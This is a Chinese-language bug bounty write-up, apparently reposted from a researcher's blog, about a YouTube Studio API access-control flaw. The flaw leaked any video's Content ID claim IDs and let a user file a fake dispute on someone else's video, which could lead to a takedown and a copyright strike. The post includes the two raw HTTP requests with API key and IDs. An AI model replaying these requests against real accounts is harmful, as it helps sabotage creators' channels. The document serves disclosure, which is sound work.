利用API漏洞实现YouTube视频删除与版权打击的创意方法

本文详细披露了YouTube Studio API存在的访问控制漏洞,攻击者可通过泄露内容ID声明并伪造争议请求,诱导版权方对目标视频发起下架申请,最终导致频道收到版权警告。文章包含完整的技术分析、API端点及PoC验证。

一种创意方法:删除他人YouTube视频并施加版权打击

大家好!欢迎回到另一篇关于我向Google提交的有趣发现的博客文章。由于上一篇文章获得了很好的反响,我可能在本周末或下周再发布一篇。不确定下一篇内容会涉及什么。

如果你读过上一篇文章,你可能已经看到如何利用Google Classroom中的API泄露其他用户的Google Drive文件。Google为此提供了丰厚的奖金并迅速修复了问题。那篇文章的反响也非常惊人,谢谢大家。

在这篇文章中,我将展示一个非常有趣的发现,它可能让你能够删除他人的YouTube视频,甚至让他们的整个频道面临被删除的风险。

那么,让我们开始吧!

首先,简单介绍一下YouTube和版权争议的背景。

我认为大多数人都知道YouTube有一个版权处理流程,例如,如果你上传的视频使用了别人的音乐,内容ID声明就会针对你的视频提出。这些通常是无害的,可能会导致广告出现在你的视频上,这样材料的真正所有者可以从中赚取一些钱等。

假设内容ID声明是针对你的视频提出的,而你实际上拥有视频中的材料。YouTube也有一个很好的争议处理流程你可以进行。以下是他们展示此流程的图片:

这是Google提供的非常棒的图表,展示了争议流程。因此,如果你对你上传的YouTube视频的内容ID声明提出争议,实际内容的所有者会收到通知,并可以采取一些行动。如果所有者认为你的争议声明无效,他们可以这样做:

声明人可以做什么

  • 释放声明:如果声明人同意你的争议,他们可以释放他们的声明。如果你之前对视频进行了 monetization,当视频上的所有声明都被释放时,你的 monetization 设置将自动恢复。了解有关内容ID争议期间的 monetization 的更多信息。
  • 恢复声明:如果声明人认为他们的声明仍然有效,他们可以恢复它。这意味着你的争议被拒绝,声明保留在你的视频上。你可能有权对此决定提出上诉。
  • 提交下架请求:如果声明人认为他们的声明仍然有效,他们可以提交版权下架请求。如果下架请求有效,你的视频将从YouTube删除,并且你的频道会收到版权警告。了解有关解决版权警告的选项的更多信息。
  • 让声明过期:如果声明人在30天内没有回应,视频上的声明将过期并从你的视频中释放。

如上所示,如果你提交争议,材料的所有者实际上可以提交整个视频的下架请求,这还会导致你的频道收到版权警告。对于那些不知道的人,YouTube频道上的版权警告非常严重。你的频道面临被完全删除的风险。

发现

这个特别的夜晚,当我在进行研究时,我正在测试YouTube Content Studio:https://studio.youtube.com

我主要只是测试所有不同的API端点,看看是否有任何缺少访问控制检查的地方。好消息是,在测试删除他人YouTube视频的API时,我收到了访问被拒绝的错误,所以在这方面一切都很好。

当时我在想,如果我不能直接删除某人的YouTube视频或频道,我还能做什么。我如何绕过这个限制?

在研究过程中,我最终找到了这个API端点,在我上传了一个之前有内容ID声明的视频之后:

1
2
3
POST /youtubei/v1/creator/list_creator_received_claims?alt=json&key=AIzaSyBUPetSUmoZL-OhlxA7wSac5XinrygCqMo HTTP/1.1
Host: studio.youtube.com
{"context":{"client":{"clientName":62,"clientVersion":"1.20200105.0.0","hl":"en","gl":"US","experimentsToken":""},"request":{"returnLogEntry":true,"internalExperimentFlags":[{"key":"force_route_innertube_shopping_settings_to_outertube","value":"true"},{"key":"force_live_chat_merchandise_upsell","value":"false"},{"key":"force_route_delete_playlist_to_outertube","value":"false"}]},"clientScreenNonce":"MC41MTczMTA1ODY2MDI3NzMy"},"videoId":"n6c0nOScCCo","criticalRead":false}

在上面的请求中,它列出了你拥有的视频收到的内容ID声明。在底部你应该看到:

1
"videoId":"n6c0nOScCCo"

如果你将视频ID替换为任何其他视频,你可以看到针对该视频的内容ID声明。因此,这个API没有适当的访问控制检查,允许你泄露任何人视频的内容ID声明。

当我这样做时,我注意到我在响应中收到了claimID。然后我想知道知道claimID会有多有用。

接着,在调查中我找到了下一个请求:

1
2
3
POST /youtubei/v1/copyright/submit_claim_dispute?alt=json&key=AIzaSyBUPetSUmoZL-OhlxA7wSac5XinrygCqMo HTTP/1.1
Host: studio.youtube.com
{"claimId":{"claimId":"UK9o_XrpTyM","videoId":"n6c0nOScCCo"},"claimDisputeReason":"CLAIM_DISPUTE_REASON_FAIR_USE","fairUseType":"FAIR_USE_TYPE_PROMOTIONAL","justification":"test","signature":"test","channelId":"UCB1Z_cpKu-5V4ag30cndODQ","context":{"client":{"clientName":62,"clientVersion":"1.20200105.0.0","hl":"en","gl":"US","experimentsToken":""},"request":{"returnLogEntry":true,"internalExperimentFlags":[{"key":"force_route_innertube_shopping_settings_to_outertube","value":"true"},{"key":"force_live_chat_merchandise_upsell","value":"false"},{"key":"force_route_delete_playlist_to_outertube","value":"false"}]},"clientScreenNonce":"MC41MTczMTA1ODY2MDI3NzMy"}}

如果你看上面这个请求,你应该看到:

1
{"claimId":{"claimId":"UK9o_XrpTyM","videoId":"n6c0nOScCCo"},"claimDisputeReason":"CLAIM_DISPUTE_REASON_FAIR_USE",

好吧,我刚刚在第一个请求中泄露了视频的claimID。所以现在你需要做的就是将claimID更改为你泄露的ID,并将videoID更改为你目标的视频。

现在,你将在某人的整个视频上完全打开并提交了一个虚假的内容声明争议。如果你还记得上面的图片,真正的所有者可以完全提交回应,让你的整个视频被下架,并附带版权警告。

因此,虽然这并没有直接导致任何人的YouTube视频被删除,但这是一种可能实现这一点的创意方法。

以下是视频PoC:

再次说明,Google VRP喜欢他们的视频带有音乐,所以请也享受这一点 :)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计